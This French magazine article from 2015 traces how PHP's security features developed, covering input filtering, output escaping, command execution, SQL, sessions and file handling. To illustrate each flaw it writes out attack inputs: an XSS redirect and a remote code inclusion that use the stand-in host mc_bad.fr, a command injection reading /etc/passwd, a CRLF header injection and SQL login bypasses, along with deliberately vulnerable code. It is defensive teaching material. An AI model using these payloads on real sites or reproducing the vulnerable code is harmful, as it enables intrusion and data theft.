PHP et la sécurité

Magazine
Marque
GNU/Linux Magazine
HS n°
Numéro
79
Mois de parution
juillet 2015
Spécialité(s)


Résumé

Le Web doit faire face à une explosion de l’exploitation des vulnérabilités des applications et des sites. Cet article présente l’évolution de la prise en compte de la sécurité dans PHP, ainsi que les directives et fonctions à utiliser pour protéger les applications.


Body

À la fin du siècle dernier, les sites Web étaient principalement statiques et sans interactions. Le développement de sites Web dynamiques reposant sur des bases de données, l’ajout d’interactions côté client ainsi que le support des sessions, ont permis au Web de connaître une popularité croissante. Avec l’adoption par les navigateurs des technologies Web 2.0, le nombre de sites a explosé. Des blogs ainsi que des réseaux sociaux sont apparus, les sociétés et les administrations ont fourni de plus en plus de services en ligne. D’après les statistiques produites par Netcraft [1], il y avait environ 180 millions de sites Web actifs fin 2014 contre 7,5 millions en juin 2000, ce qui représente un taux d’accroissement de 2300% en quatorze ans. Le nombre de pages Web a connu lui aussi un boom. Selon le blog officiel de Google [2], le cap du billion de pages Web en ligne a été atteint mi 2008. Fin 2014, Google estimait ce nombre à une soixantaine de billions [3].

Avec l’évolution des navigateurs et de la popularité du Web, les applications Web sont devenues plus complexes et plus nombreuses. Les sites Web modernes sont dynamiques, interactifs et adaptatifs, ils agrègent des contenus internes et externes (publicités, flux, services Web). Ceci engendre une augmentation de l’effort à fournir pour les sécuriser. De plus, la facilité de prise en main des langages de scripts côté serveur, ainsi que le grand nombre de bibliothèques, API et fonctions natives pour le Web, ont permis à de nombreux développeurs amateurs, ou non formés à la sécurité, de développer des applications dans lesquelles les deux règles majeures de sécurité, à savoir filtrer les entrées et protéger les sorties, ne sont pas ou peu respectées. Le volume 5 du rapport de 2013 sur la sécurité des logiciels de Veracode [4] indique que 87% des dizaines de milliers d’applications Web qu’ils ont testées, comportent des failles décrites dans le Top 10 de l’OWASP [5], document qui présente les dix risques de sécurité applicatifs Web les plus critiques. D’après le rapport annuel de Symantec sur les menaces de sécurité sur Internet [6], publié en avril 2014, un site légitime sur huit comporte une vulnérabilité critique.

Parallèlement à cette explosion du Web, les entreprises ont protégé les points d’entrée de leurs réseaux. Le nombre de ports ouverts depuis l’extérieur est généralement limité au Web (HTTP, HTTPS) et parfois au mail ainsi qu’à un accès VPN. Ceci fait du Web une cible de choix pour les pirates, pour pénétrer le système d’information d’une entreprise.

Les pirates ont des motivations diverses : prouver qu’ils sont capables de pirater un site ou une application Web, nuire à l’image de marque de l'entreprise, appât du gain (vol d’informations bancaires, spam...), etc. La cible de l’attaque peut être le serveur (prise de contrôle du système), l’application ou le site (défiguration, vol de données, déni de service) ou l’utilisateur (hameçonnage, vol de session...). Les pirates disposent d’outils qui ne nécessitent aucune ou très peu de connaissances en développement pour détecter des applications et des sites Web vulnérables et les attaquer.

Cette combinaison de facteurs fait que le Web est confronté à une explosion de l’exploitation des vulnérabilités et de la rapidité de leur exploitation. Le rapport annuel de Symantec [6] pointe une très forte augmentation des attaques ciblées, ainsi que des vols de données (cartes de crédit, numéros de sécurité sociale, données médicales, numéros de téléphone, e-mails, identifiants de connexion...). Un peu plus de 552 millions d’identités ont été concernées par des fuites de données en 2013, soit deux fois plus qu’en 2011. Le piratage repose en grande partie sur la recherche et l’exploitation de vulnérabilités dans un site ou une application Web légitime : selon Symantec, 67% des sites Web malveillants sont des sites Web légitimes compromis.

À ses débuts, PHP proposait des fonctionnalités pour faciliter le développement d’applications Web, notamment la création automatique des variables de formulaires dans le contexte global du script. Très tôt, PHP a su évoluer pour faire face aux problèmes de sécurité que le Web rencontrait. Des directives ont été introduites dans le fichier de configuration, pour permettre aux administrateurs systèmes d’effectuer des réglages de sécurité. Des fonctions ont été proposées aux développeurs pour les aider à filtrer les entrées et protéger les sorties. Une section du manuel officiel a été dédiée à la sécurité [7].

1 Récupérer et filtrer les entrées

Les applications Web sont la cible d’attaques diverses : injections vers des interpréteurs, défiguration, détournement de session, etc. Ces attaques visent l’intégrité, la confidentialité ou la disponibilité des données ou encore la prise de contrôle du serveur. Il y a des risques de sécurité dès lors que le développeur ne vérifie pas les données avant leur utilisation.

1.1 Obtenir les données de la requête HTTP

Une application Web est composée de scripts qui reçoivent des données envoyées par l’utilisateur, les traitent et produisent des réponses spécifiques en fonction de la demande. Ces données sont généralement transmises lorsque l’utilisateur soumet un formulaire Web ou lorsqu'il clique sur un lien hypertexte dont l’URL contient une partie arguments. La communication client/serveur Web utilise le protocole de transport HTTP (HyperText Transfer Protocol). Lorsqu'un navigateur veut obtenir une ressource (page HTML, image, fichier CSS...), il envoie une requête HTTP au serveur, celui-ci la traite et envoie une réponse. La requête est composée de deux parties : l’en-tête et le corps. La première ligne d'en-tête indique la méthode HTTP à utiliser ainsi que le chemin de la ressource. Des lignes optionnelles donnent des informations sur le navigateur, les cookies ainsi que sur le corps, s’il est présent. Les données d'un formulaire envoyé par la méthode HTTP GET sont placées dans la première ligne de l'en-tête HTTP, dans ce cas le corps est vide. Si la méthode POST est utilisée, les données sont placées dans le corps.

Si l'internaute saisit la chaîne Venise dans le champ texte de formulaire <input name='lieu'> et qu'il envoie le formulaire, le serveur reçoit la variable lieu=Venise. À ses débuts, PHP plaçait automatiquement dans le contexte global les données de la requête HTTP. Il suffisait d'utiliser la variable $lieu, dans le script PHP, pour obtenir la valeur du champ nommé lieu. Cette manière d’accéder aux variables, bien que très pratique, posait des problèmes de sécurité, car un pirate pouvait facilement injecter des variables dans le contexte global [8]. Par exemple, le code ci-après présente un problème de sécurité dès lors que le script reçoit ?ok=1 dans l’URL et que la variable $ok n’a pas été initialisée. Le code contenu dans le deuxième if sera toujours exécuté, car la variable ok avec la valeur « vrai » a été injectée par le biais de l’URL.

if (verifLogin()){

   $ok = true ;

}

...

if ($ok){

   ...

}

Mi 1998, PHP 3 introduit les tableaux associatifs $HTTP_GET_VARS et $HTTP_POST_VARSpour accéder aux données des requêtes GET et POST. Ils permettent d’identifier clairement dans le code les données provenant de sources externes. Leur création est contrôlée par la directive track_vars du fichier de configuration, elle est activée par défaut. Ils ont été remplacés dans la version 4.1 par les tableaux associatifs super-globaux $_GET et $_POST, accessibles dans tout le contexte du script.

Une nouvelle étape est franchie dans la prise en compte de la sécurité, en mai 2000, avec l’introduction de la directive register_globals dans PHP 4. Sa désactivation force l'utilisation des tableaux associatifs pour récupérer les données utilisateur. Le contexte global est donc protégé lorsque register_globals a la valeur off, ce qui devient la valeur par défaut au printemps 2002 dans la version 4.2. Pour augmenter la sécurité, la directive est devenue obsolète dans la version 5.0, mi 2004, et a été totalement supprimée début 2012, dans la version 5.4.

Il faut noter que PHP avait introduit une fonction import_request_variables fin 2001 dans sa version 4.1, devenue obsolète dans la version 5.3, puis supprimée dans la version 5.4. À l’origine, elle avait été créée pour permettre aux développeurs d’importer automatiquement les variables de formulaires dans le contexte global, de manière plus sûre qu’avec register_globals activé. L’idée était de garder une certaine souplesse dans l’accès aux variables de formulaires, mais en marquant les variables issues de sources externes avec un préfixe obligatoire, défini en argument. Cette fonction a été supprimée afin d’éviter les injections de variables et les effets de bords.

L’accès aux données envoyées par l’utilisateur a donc été doublement sécurisé dans PHP : d’une part, il n’y a plus d’injection automatique de variables provenant de sources externes, ni d’effet de bord induit par la création de ces variables ; d’autre part l’emploi des tableaux $_GET et $_POST permet lors de revues de code d’identifier facilement les lignes où des données externes sont utilisées.

1.2 Filtrer les entrées

Toute entrée provenant d'une source externe est susceptible de contenir des données malveillantes, utilisées pour exploiter une vulnérabilité de l’application. Ces données peuvent avoir été envoyées directement par l’utilisateur (en-tête ou corps de la requête HTTP) ou indirectement, si elles ont été stockées précédemment en session, dans une base de données ou dans un fichier. Toute information placée dans la requête HTTP (arguments, cookies, informations sur le navigateur...) peut être facilement modifiée par un pirate en interceptant la requête avec un outil intégré dans le navigateur, tel que le plug-in TamperData de Firefox, ou avec un outil qui s’intègre avec un proxy.

Une grande partie des attaques réussies est due à une absence ou un défaut de filtrage d’une ou plusieurs entrées de l’application. Le filtrage des données sur le serveur Web est la première étape assurant à la fois le bon fonctionnement de l’application ainsi que sa sécurité et celle du serveur qui l’héberge. Il est impératif de vérifier toute donnée envoyée par le navigateur avant de l’utiliser dans l’application, que la donnée soit extraite de l’en-tête ou du corps. Le filtrage ne doit être réalisé que par liste blanche, c’est-à-dire en indiquant ce qui est autorisé, par opposition à un filtrage plus permissif par liste noire qui définit ce qui est interdit. Le filtrage consiste à s’assurer que les données reçues correspondent à celles attendues.

PHP a introduit au cours des années de nombreuses fonctions permettant de filtrer et contrôler les données : présence d’une variable, nullité, type de la donnée, taille, respect d’un motif, etc. Depuis la version 5.2, fin 2006, des fonctionnalités de vérification de données avancées peuvent être utilisées grâce à l’extension filter activée par défaut [9].

Dès ses premières versions, PHP permettait de contrôler l’existence d’une variable avec la fonction isset, disponible dans PHP/FI 2.0. Il était ainsi possible de s’assurer que toutes les entrées utilisateurs attendues par l'application étaient présentes. Cette vérification a été facilitée en 1998, avec la centralisation des données dans les tableaux $HTTP_GET_VARS et $HTTP_POST_VARS, qui pouvaient être parcourus pour contrôler la présence des clés attendues. Avec l’introduction de nouvelles fonctions pour les tableaux dans PHP 4, la vérification a pu se faire en extrayant les clés de $_GET ou $_POST et en les comparant avec celles attendues. La fonction filter_has_var, disponible depuis PHP 5.2, vérifie la présence d’un argument dans le tableau super-global. Pour vérifier qu'une donnée obligatoire a une valeur, la variable peut être testée avec la fonction empty, introduite dans PHP 3.

L’utilisation des tableaux $HTTP_GET_VARS, $HTTP_POST_VARS et leurs successeurs $_GET et $_POST a également permis de s’assurer que les données reçues ont été envoyées par la méthode attendue, puisque PHP les place dans ces tableaux en fonction de leur emplacement dans la requête HTTP.

PHP fournit de nombreuses fonctions pour vérifier le type des données. Les fonctions de PHP 3 is_* (is_integer, is_long, is_double, is_string) ont été complétées en PHP4 par is_bool, is_null et is_numeric. Cette dernière retournant « vrai » si la donnée est un nombre ou si c’est une chaîne de caractères contenant une valeur numérique. Fin 2000, la version 4.0.4 introduit les fonctions ctype_* pour vérifier le contenu de chaînes de caractères : alphabétique, chaîne en minuscules ou majuscules, nombre hexadécimal, entier non signé, etc. L’introduction des opérateurs === et !== dans la version 4 a également permis des comparaisons prenant en compte l’égalité de type des opérandes.

Des opérateurs de comparaison et des fonctions (strlen, ...) permettent de vérifier qu’une valeur est comprise entre deux bornes, ce qui peut être utile, par exemple, pour vérifier qu'une quantité est positive et inférieure à un seuil.

La vérification de la validité de la donnée peut être réalisée avec différentes fonctions. Les expressions rationnelles, disponibles depuis PHP/FI testent si la chaîne suit un motif (fonctions ereg* puis preg_*). En utilisant un tableau contenant les valeurs autorisées, il est possible, grâce à la fonction PHP 4 in_array, de vérifier si une valeur est présente dans le tableau. La fonction checkdate, qui existe depuis PHP 3, vérifie la validité d’une date. En 2006, l’extension filter a mis à disposition des fonctions de filtrage faciles à utiliser, qui font gagner du temps au développeur et améliorent la sécurité de la vérification : filter_input et filter_input_array. Des filtres prédéfinis, ou définis avec une expression rationnelle, sont utilisés sur une ou plusieurs variables provenant de l’utilisateur afin de vérifier la validité de ces entrées. Des filtres existent pour la validation d’un e-mail, d’URL, d’adresses IP, de booléens, de nombres entiers ou flottants.

PHP a su évoluer pour proposer nativement de nombreuses fonctions qui permettent au développeur de vérifier facilement les entrées, assurant ainsi un bon fonctionnement de l’application et sa sécurisation. De plus, les directives filter.default et filter.default_flags ont été ajoutées dans le fichier de configuration, dans la version 5.2, pour permettre à l’administrateur de définir un filtre et des options à appliquer par défaut à tous les tableaux super-globaux avant qu’ils ne soient utilisés par le script. Si la valeur ne satisfait pas le filtre par défaut, elle est supprimée. Par exemple, l’ajout de filter.default = string, dans le fichier de configuration, provoque le nettoyage automatique des tableaux $_GET et $_POST, toute balise présente dans ces tableaux est supprimée. Parallèlement, la manière de récupérer les données issues de la requête HTTP a évolué dans PHP pour mieux prendre en compte la sécurité du code.

2 Envoyer des données au navigateur

La réponse HTTP, envoyée par le serveur au navigateur, est composée d’un en-tête et d’un corps contenant les données, c’est-à-dire la ressource demandée. L’en-tête comporte le statut de la réponse ainsi que des lignes optionnelles : cookies, informations sur le serveur, encodage, taille et type de contenu du corps. L’application Web produit généralement une sortie au format HTML. Pour générer une réponse dynamiquement, les scripts PHP peuvent interroger une base de données, récupérer des données en sessions, dans un fichier… Les informations utilisées pour construire la réponse proviennent souvent de sources externes. Avant d’envoyer ces données au navigateur, il faut réaliser un traitement pour protéger l’utilisateur des failles de sécurité côté client.

2.1 Envoyer des données dans le corps

Une donnée envoyée au navigateur peut inclure des injections de code HTML, provenant d’entrées utilisateurs non filtrées ou mal filtrées. Elles permettent des attaques telles que le XSS (Cross Site Scripting), qui consistent à injecter un contenu actif, généralement un code JavaScript, dans un document HTML. Le code est exécuté par le navigateur à l’insu de l’utilisateur. Un tel code pourrait permettre à un pirate de récupérer les cookies en vue d’un vol de session, changer l’attribut action d’un formulaire pour le poster vers un autre site, rediriger l’utilisateur vers une page de même apparence (hameçonnage), etc. La figure 1 donne un exemple d’exploitation d’une vulnérabilité XSS.

 

php_securite_figure_01

 

Fig. 1 : Exemple de XSS.

Supposons qu’un pirate ait envoyé un code JavaScript dans le champ nom d’un formulaire d’inscription :

Smith<script>document.location='http://mc_bad.fr'</script>

Cette information est stockée dans la base de données de l’application d’inscription (a). Le script qui affiche à l’administrateur la liste des inscrits, comporte l’instruction ci-après :

/* $tab_inscrits contient un nom par case (donnees de la BD) */

echo implode("<br>", $tab_inscrits);

Lorsque l’administrateur du site demande l’affichage de la liste des inscrits (b), son navigateur reçoit la liste des noms, dont celui contenant le code JavaScript (c). L’instruction JavaScript force le navigateur à faire une redirection (d), celui-ci affiche la page située à l’URL indiquée (e) : une copie de la page connexion du site légitime, afin de réaliser un hameçonnage.

Pour sécuriser l’application, il faut protéger les sorties vers le navigateur afin qu’il n’exécute pas le script JavaScript. Les fonctions htmlspecialchars (PHP/FI) et htmlentities (PHP 3, 1998), remplacent les caractères tels que < et > par leurs entités HTML, c’est-à-dire &lt; et &gt. Le navigateur recevra dans ce cas la chaîne ci-après, qui n’est plus un script JavaScript :

Smith&lt;script&gt;…&lt;/script&gt;

À l’origine, les deux fonctions ne géraient que des chaînes de caractères du jeu ISO-8859-1. En 2001, la version 4.1 a introduit la possibilité de passer en argument le jeu de caractères de la chaîne, ce qui a permis de protéger des chaînes UTF-8. Depuis la version 5.4 le jeu de caractères par défaut utilisé par ces fonctions est UTF-8. Dans PHP 5.6, la directive default_charset du fichier php.ini définit leur jeu de caractères par défaut.

PHP a également ajouté en 1999 la fonction de nettoyage strip_tags qui supprime les balises ouvrantes et fermantes dans une chaîne de caractères. L’extension filter de PHP 5.2 [9] propose plusieurs filtres pour nettoyer des variables, dont FILTER_SANITIZE_FULL_SPECIAL_CHARS et FILTER_SANITIZE_STRING, qui offrent une alternative à htmlentities et strip_tags.

Attention, la protection des sorties ne dispense pas de filtrer les entrées. Les fonctions strip_tags et htmlentities, bien que très utiles, ne permettent pas de traiter tous les types d’injections dans le code HTML. Elles n’auront notamment aucun effet sur le code javascript:alert(document.cookie), s’il est placé dans un attribut href d’un élément HTML.

2.2 Envoyer des données dans l'en-tête

La fonction header de PHP, qui envoie des champs dans l’en-tête HTTP, supportait dans la version 1.99b les caractères de passage à la ligne \n et \r. Cette fonctionnalité pouvait être utilisée par des pirates pour injecter d’autres lignes dans l’en-tête, notamment pour ajouter un cookie dans le navigateur. La première ligne d’en-tête envoyée est celle prévue par l’application, la seconde est contrôlée par le pirate. Voici un exemple de code vulnérable à cette attaque :

<?php header("Location: " . $_GET['url']) ; ?>

Lorsque le script reçoit ?url=http://mc_test.fr, le serveur envoie au navigateur Location:http://mc_test.fr. Si un pirate envoie ?url=http://mc_test.fr\r\nSet-Cookie:sess=210, alors deux lignes sont envoyées dans l’en-tête HTTP. La première est celle demandant la redirection, la seconde injecte le cookie sess dont la valeur est 210 dans le navigateur. En 2006, afin de lutter contre cette faille CRLF, PHP 4.4.2 a réalisé un filtrage automatique de la chaîne passée à la fonction header. Celle-ci a été limitée à l’envoi d’une unique ligne d’en-tête. Un problème de filtrage a été corrigé dans la version 5.2.1.

Les attaques envoyées au client, dans l’en-tête ou dans le corps, sont dues à une absence ou un mauvais filtrage des données. PHP a intégré des protections automatiques dans les envois d’en-tête, il fournit également depuis de nombreuses années des fonctions efficaces pour protéger les sorties, afin de lutter contre le XSS et l’usurpation de contenu.

3 Exécuter des commandes

PHP permet d’exécuter des commandes dans un shell grâce aux fonctions exec, shell_exec et system, ainsi qu’à l’opérateur backtick. Dès lors qu’une entrée utilisateur est utilisée dans l’appel système, le script peut être vulnérable à une injection de commande. C’est le cas du code ci-après, qui comporte une vulnérabilité, car il n'a été ni filtré, ni protégé :

system("ls –1 *." . $_GET['ext']);

Le but de cette ligne de code est d’envoyer à l’utilisateur la liste de tous les fichiers qui se terminent par l’extension demandée. Lorsque l’URL se termine par ?ext=txt, le navigateur reçoit le résultat de la commande ls -1 *.txt, c’est-à-dire la liste de tous les noms de fichiers ayant l’extension txt dans le répertoire courant. Un utilisateur mal intentionné peut réaliser une injection de commande en utilisant le caractère point-virgule, qui est le séparateur d’instruction pour le shell. Par exemple, l’URL ?ext=txt; cat /etc/passwd exécutera deux commandes. Il est ainsi possible d’exécuter des commandes dans le shell et d’obtenir l’affichage du résultat, ce qui peut aider à prendre le contrôle du serveur ou accéder à des informations sensibles.

PHP fournit depuis ses débuts la possibilité de filtrer les entrées utilisateurs ainsi que de protéger les sorties vers un interpréteur de commandes. PHP 1.99s, en 1996, a proposé la fonction escapeshellcmd qui protège la chaîne de commande de tous les caractères qui ont une signification spéciale dans le shell, par exemple le caractère point-virgule. Elle doit être utilisée avant de passer la chaîne de commande à exec ou system. En octobre 2000, PHP 4.0.3 a introduit la fonction escapeshellarg pour protéger un argument qui sera passé au shell. PHP offre également de nombreuses fonctions natives qui auraient pu être utilisées dans cet exemple, à la place d'un appel système.

Afin de permettre à l’administrateur de sécuriser PHP, la directive disable_functions a été ajoutée en juin 2000 dans PHP 4.0.1. Il peut ainsi désactiver les fonctions sensibles telles que system, exec et shell_exec :

disable_functions = "system, exec,shell_exec"

4 Communiquer avec des bases de données

De nombreux sites Web créent dynamiquement des parties de requêtes SQL à partir de données issues de sources externes. Si ces données sont utilisées sans traitement, un pirate peut réaliser une injection SQL, c’est-à-dire injecter des données qui modifient la requête. Le but peut être de porter atteinte à la confidentialité, l’intégrité ou la disponibilité des données.

La figure 2 présente un exemple d’attaque par injection SQL, qui donne accès à l'application sans connaître les identifiants. Elle est rendue possible par le code ci-après qui reçoit les variables $login et $pwd, dont les valeurs proviennent d’un formulaire envoyé par l’utilisateur :

SELECT * FROM utilisateur WHERE login='$login' AND pwd='$pwd'

Lorsque le pirate entre le login ' OR 1=1 -- dans le formulaire d’authentification (a), la restriction dans la requête (b) ne supprime aucune ligne. Le double tiret étant la marque des commentaires SQL, la restriction devient WHERE login='' OR 1=1, qui est toujours « vrai ». La requête sélectionne alors toutes les lignes de la table (c). L’application réalise l’authentification en considérant que l’utilisateur qui a rempli le formulaire est légitime et que c’est celui du premier compte saisi dans la table utilisateur (d).

 

php_securite_figure_02

 

Fig. 2 : Exemple d’injection SQL.

PHP/FI proposait une fonction addslashes pour protéger les caractères spéciaux, tels que le guillemet simple. L’application de cette fonction au login supprime la vulnérabilité présentée ci-dessus. PHP 4 a introduit des fonctions pour protéger des chaînes avant de les utiliser pour construire une requête dynamiquement : mysql_escape_string et mysql_real_escape_string, pour MySQL, pg_escape_string pour PostgreSQL. Elles protègent les caractères qui ont un sens pour l’interpréteur SQL, dont les guillemets simples ou doubles.

Afin de lutter contre certaines attaques, dont celles d’injection SQL, PHP avait introduit une protection automatique contrôlée par la directive magic_quotes_gpc. Cette directive, assez controversée, ajoutait des \ devant tous les guillemets des entrées utilisateur, quelle que soit leur utilisation ultérieure. Elle permettait d’ajouter de la sécurité pour des codes écrits par des développeurs débutants, mais la sécurité reposait sur son activation. En cas de désactivation, le code était vulnérable. La fonctionnalité est devenue obsolète dans PHP 5.3 et a été supprimée dans la version 5.4

La protection des guillemets n’est pas suffisante pour éviter les injections SQL. En passant 3 OR 1=1 à la variable $id dans le code ci-après, les mots de passe de tous les utilisateurs sont modifiés. Ce qui peut permettre au pirate de s’identifier ultérieurement avec d’autres comptes utilisateurs.

UPDATE utilisateur SET pwd='$pwd' WHERE id=$id ;

Une protection contre cette injection peut être réalisée avec un cast en int. Le filtrage des données aurait permis de détecter l’attaque (vérification du type de $id qui ne devrait contenir qu’un entier).

En 2005, la couche d’abstraction d’accès aux données PDO est proposée nativement dans PHP 5.1. PDO supporte les requêtes préparées, ce qui représente le meilleur choix en matière de protection contre les injections SQL. Ceci permet de bloquer les deux attaques présentées ci-avant. L’utilisation d’ORM ou de Framework PHP MVC, qui utilisent eux-mêmes des ORM, permet au développeur d’obtenir automatiquement le code pour enregistrer et extraire les informations de la base de données. Ces outils reposent généralement sur PDO et les requêtes préparées, ce qui permet de protéger efficacement l’application de la majeure partie des injections SQL.

5 Manipuler des sessions

Les sessions permettent de gérer la persistance des données et de reconnaître un internaute au cours de sa navigation. Elles reposent sur un jeton, c’est-à-dire sur un identifiant unique envoyé par le serveur au début de la session, puis transmis par le navigateur lors de chaque requête HTTP. Il peut être transmis dans l’URL ou par cookie. La méthode de transmission par cookie, utilisée par défaut par PHP, est la plus sûre. Les données de session sont stockées sur le serveur dans des fichiers préfixés par sess_, suivi par la valeur du jeton. Lors de la connexion à l’application, PHP crée le fichier de session et envoie le jeton PHPSESSID au navigateur avec le champ d’en-tête HTTP Set-Cookie. À chaque requête, le navigateur renvoie ce cookie PHPSESSID dans l’en-tête HTTP Cookie. PHP l’utilise pour déterminer le nom du fichier de session de l’utilisateur. PHP récupère les données de session dans le fichier et les stocke dans le tableau associatif super-global $_SESSION, disponible depuis la version 4.1.

Les attaques liées aux sessions visent à accroître le niveau de privilège dans une application Web protégée. Le pirate doit fournir un jeton valide pour détourner une session d’un utilisateur authentifié. Plusieurs attaques peuvent être tentées pour l’obtenir : prédiction, force brute, fixation, vol. PHP a su les prendre en compte et fournir des directives permettant de régler finement la sécurité.

PHP/FI supportait les cookies HTTP, le développeur devait gérer la génération du jeton ainsi que le stockage et la récupération des données de session au cours de la navigation. Certains développeurs utilisaient un entier incrémenté comme jeton, ce qui rendait l’application vulnérable à la prédiction de session ou aux attaques par force brute. PHP a intégré la gestion des sessions en natif avec la version 4.0 en 2000. Le jeton créé automatiquement est aléatoire et comporte suffisamment de caractères pour protéger contre la prédiction de jeton et la force brute.

Des directives ont été prévues dès la mise à disposition des sessions pour lutter contre le vol du jeton : transmission du jeton uniquement par cookie (session.use_only_cookies), limitation de la validité du cookie dans le temps (session.cookie_lifetime) et sur le serveur (session.cookie_path, session.cookie_domain), transmission limitée aux communications HTTPS (session.cookie_secure). Il est également possible de changer le chemin du répertoire stockant les fichiers (session.save_path) et la manière de stocker les données (session.save_handler) afin qu’un utilisateur, qui a accès au système sur le serveur Web, ne puisse pas obtenir des jetons valides en listant le contenu du répertoire. L’introduction de la fonction session_regenerate_id dans PHP 4.3.2 en mai 2003 a permis de changer de jeton au cours de la navigation dans l’application. Son utilisation protège l’application de l’exploitation d’un vol de jeton. Afin de lutter contre le vol de cookie par XSS, PHP 5.2 a ajouté le support du drapeau httpOnly dans la génération du champ Set-Cookie de l’en-tête HTTP. Il indique au navigateur qu’il est interdit d’accéder au cookie contenant le jeton, ce qui bloque sa lecture depuis un script JavaScript. La directive session.cookie_httponly a été introduite pour activer cette fonctionnalité.

La fixation de session est prise en compte grâce à la directive session.use_strict_mode, ajoutée dans la version 5.5.2 en 2011. La fixation est une attaque qui consiste à injecter à l’utilisateur un jeton, forgé par le pirate. Le navigateur transmet ce jeton au serveur. PHP cherche si un fichier de session existe avec cette valeur, si ce n’est pas le cas il crée le fichier en utilisant le jeton que le navigateur lui a transmis. Une fois l’utilisateur authentifié, le pirate peut utiliser le jeton pour accéder à l’application. En utilisant le mode strict, PHP n’accepte plus de créer une session à partir du jeton que l’utilisateur lui envoie, il génère automatiquement un nouveau jeton.

6 Manipuler des fichiers

Les applications Web sont souvent amenées à manipuler des fichiers en lecture et/ou écriture : téléversement, enregistrement ou lecture de données sur le disque du serveur, inclusion de code ou de paramètres situés dans un fichier. Ces opérations peuvent être détournées et donner lieu à différents types d’attaques.

6.1 Téléversement de fichiers

PHP supporte le téléversement de fichiers depuis sa version 2. Stocker et utiliser des fichiers envoyés par l'utilisateur peut poser des problèmes de sécurité, dont le stockage sur le disque d’un shell PHP. Lorsque le téléversement de fichiers n’est pas nécessaire à l’application, il est préférable de bloquer cette fonctionnalité, en désactivant la directive file_uploads, introduite dans PHP 4.

Chaque fichier téléversé est enregistré dans un répertoire de téléchargement sous un nom temporaire. Le chemin de ce répertoire est défini par la directive upload_tmp_dir. Le script peut obtenir des informations sur le ou les fichiers postés par le client, avec le tableau associatif super-global $_FILES, depuis la version 4.1. L’attribution par PHP d’un nom temporaire, évite l’abus de fonctionnalité. Si l’application renomme le fichier, il faut veiller à ne jamais utiliser le nom d'origine du fichier envoyé, qui est stocké dans le tableau associatif. En effet, si l’application renomme le fichier téléchargé avec son nom d’origine, puis le déplace dans un répertoire Web, le pirate pourra écraser un fichier légitime de ce répertoire ou y créer un fichier sensible, tel qu’un htaccess. Lorsqu’Apache autorise l’utilisation de htaccess dans l’application, écraser ou injecter un tel fichier est particulièrement dangereux. Il est en effet possible d’indiquer dans le htaccess que les fichiers gif doivent être interprétés par PHP. Il suffit ensuite au pirate de télécharger un fichier gif avec un commentaire d’images contenant du code PHP, pour créer un shell PHP.

PHP 3.0.16 a introduit les fonctions is_uploaded_file et move_uploaded_file afin de vérifier que le fichier provient réellement d’un téléchargement par la méthode POST. Ceci permet de s’assurer que le script ne tentera pas de lire ou déplacer un fichier système sensible.

6.2 Injection de code distant

PHP 3 activait par défaut le support des URL dans les fonctions d’accès aux fichiers (fopen, ...) ainsi que dans include, require, include_once et require_once. La désactivation n’était possible qu’à la compilation. Ceci permettait d’inclure dans le code PHP un fichier de code situé sur un serveur distant. Lorsque le nom du fichier à inclure était déterminé à partir d’une entrée utilisateur non filtrée, il y avait possibilité de réaliser une injection de code. La figure 3 illustre ce type d'attaque. Le script index.php inclut un fichier PHP dont le nom sans extension est passé à l’argument p dans l’URL. Par exemple, lorsque le script reçoit ?p=liste, il inclut liste.php et exécute son code. L’argument n’étant pas filtré, si un pirate injecte p=http://mc_bad.fr/bad.txt%00 (a), l’application évalue l’expression à inclure (b) et ignore le .php, car le pirate a injecté %00 qui représente la marque de fin de chaîne \0. PHP demande au serveur mc_bad.fr le fichier bad.txt (c). Celui-ci contient du code PHP qui fait un appel système. Le script index.php exécute ce code. Le pirate a passé un argument cmd=ls (a) dans l’URL, celui-ci est utilisé par la fonction system injectée. PHP envoie au shell la commande ls et retourne au navigateur son résultat, c’est-à-dire le contenu du répertoire courant (e). Grâce à l’exploitation de cette vulnérabilité, le pirate peut exécuter des commandes dans le shell du serveur Web et voir leur résultat dans son navigateur.

 

php_securite_figure_03

 

Fig. 3 : Exemple d’injection de code distant.

La version 4.0.3 a introduit la directive allow_url_fopen pour contrôler l’utilisation d’URL. En désactivant cette directive, l’application était protégée des injections de code, mais elle ne pouvait plus manipuler des fichiers distants avec, par exemple, la fonction fopen. Si la fonctionnalité était nécessaire à l’application, il fallait activer allow_url_fopen. La version 5.2.0 a permis de dissocier l’inclusion de fichier de leur manipulation. Deux directives sont maintenant utilisées : allow_url_fopen pour autoriser ou non l’utilisation d’URL dans les fonctions telles que fopen ; allow_url_include pour autoriser ou non l’utilisation d’URL dans require* et include*. Cette dernière est désactivée par défaut, ce qui sécurise l’application.

6.3 Accès au système de fichier

Lorsqu’une fonction de manipulation ou d’inclusion de fichier demande l’accès à un fichier, PHP contrôle les droits des dossiers et fichiers. Ceci ne protège cependant pas contre un accès à des fichiers par un pirate qui exploiterait une vulnérabilité de traversée de chemin, ou un mauvais filtrage d’une entrée utilisée par une fonction de manipulation de fichier. PHP propose des directives et fonctions utiles pour contrôler et limiter l’accès aux fichiers.

PHP 3 a introduit la directive open_basedir pour définir les chemins des répertoires dans lesquels l’accès aux fichiers est autorisé. Lorsqu’une fonction de manipulation ou d’inclusion de fichier est utilisée, PHP vérifie l’emplacement du fichier, s’il est en dehors de l’arborescence autorisée, l’accès est interdit.

La fonction basename, proposée dès PHP 3, permet de filtrer une entrée utilisateur contenant un nom de fichier. Si un pirate entre un chemin, seul le nom de fichier est retenu par la fonction, la partie contenant les répertoires est éliminée. Par exemple, si un pirate envoie ?nom_fic=/etc/passwd au code ci-après, la fonction basename retournera passwd, readfile cherchera le fichier passwd dans le répertoire courant et ne renverra rien :

readfile(basename($_GET['nom_fic']))

PHP 4 a introduit une fonction realpath qui donne le chemin absolu, après avoir résolu les liens symboliques ainsi que les références ., .., etc. Ceci permet de lutter contre la traversée de chemin.

